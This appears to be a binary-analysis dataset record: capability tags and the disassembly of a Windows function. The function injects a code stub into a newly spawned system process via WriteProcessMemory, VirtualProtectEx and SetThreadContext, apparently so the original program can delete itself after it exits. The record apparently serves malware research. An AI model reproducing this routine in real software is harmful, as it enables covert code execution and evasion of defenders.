Function at 0x422240
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Get common file path
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb60
mov eax, dword [0x69f000]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x40
lea eax, [ebp - 0x45c]
mov dword [ebp - 0x460], 0x44
push 0
push eax
call fcn.005d5480
movups xmm0, xmmword [0x6651d0]
mov eax, dword [0x6651e8]
push 0x1ec
mov dword [ebp - 0x1f4], eax
lea eax, [ebp - 0x1f0]
movups xmmword [ebp - 0x20c], xmm0
push 0
movq xmm0, qword [0x6651e0]
push eax
movq qword [ebp - 0x1fc], xmm0
call fcn.005d5480
push 0x208
lea eax, [ebp - 0x414]
push 0
push eax
call fcn.005d5480
add esp, 0x24
mov dword [ebp - 0x418], 0
push str.kernel32
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
mov edi, dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
test eax, eax
je 0x4222fe
push str.IsWow64Process
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov esi, eax
test esi, esi
je 0x4222fe
lea eax, [ebp - 0x418]
push eax
call edi
push eax
call esi
cmp dword [ebp - 0x418], 0
lea eax, [ebp - 0x414]
push 0x104
push eax
je 0x42231b
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
jmp 0x422321
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryW]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x414]
push 0x104
push eax
call fcn.005d847b
add esp, 0xc
lea eax, [ebp - 0x73c]
push eax
lea eax, [ebp - 0x460]
push eax
push 0
push 0
push 0x44
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateProcessW]
test eax, eax
je 0x4224bc
mov eax, dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov dword [ebp - 0x958], eax
mov eax, dword [sym.imp.KERNEL32.DLL_DeleteFileW]
mov dword [ebp - 0x950], eax
mov eax, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0
mov dword [ebp - 0x94c], eax
mov eax, dword [sym.imp.KERNEL32.DLL_ExitProcess]
push 0
mov dword [ebp - 0x948], eax
lea eax, [ebp - 0x95c]
push 0
push eax
push dword [ebp - 0x73c]
mov dword [ebp - 0x954], ebx
call edi
push eax
call edi
push eax
call dword [sym.imp.KERNEL32.DLL_DuplicateHandle]
push 0x104
lea eax, [ebp - 0x944]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
lea eax, [ebp - 0x72c]
mov ecx, 0x80
push eax
push dword [ebp - 0x738]
mov esi, 0x4221d0
lea edi, [ebp - 0xb5c]
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x72c], 0x10003
call dword [sym.imp.KERNEL32.DLL_GetThreadContext]
mov esi, dword [ebp - 0x668]
add esi, 0xfffffbdc
and esi, 0xffffffe0
mov dword [ebp - 0xb60], esi
lea eax, [esi - 4]
mov dword [ebp - 0x668], eax
lea eax, [esi + 4]
mov dword [ebp - 0x674], eax
lea eax, [ebp - 0x41c]
push eax
push 0x40
push 0x424
push esi
push dword [ebp - 0x73c]
call dword [sym.imp.KERNEL32.DLL_VirtualProtectEx]
push 0
push 0x424
lea eax, [ebp - 0xb60]
push eax
push esi
push dword [ebp - 0x73c]
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
push 0x424
push esi
push dword [ebp - 0x73c]
call dword [sym.imp.KERNEL32.DLL_FlushInstructionCache]
lea eax, [ebp - 0x72c]
push eax
push dword [ebp - 0x738]
call dword [sym.imp.KERNEL32.DLL_SetThreadContext]
push dword [ebp - 0x738]
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
push dword [ebp - 0x738]
call ebx
push dword [ebp - 0x73c]
call ebx
pop ebx
pop edi
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005d077b
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.005d077b
mov esp, ebp
pop ebp
ret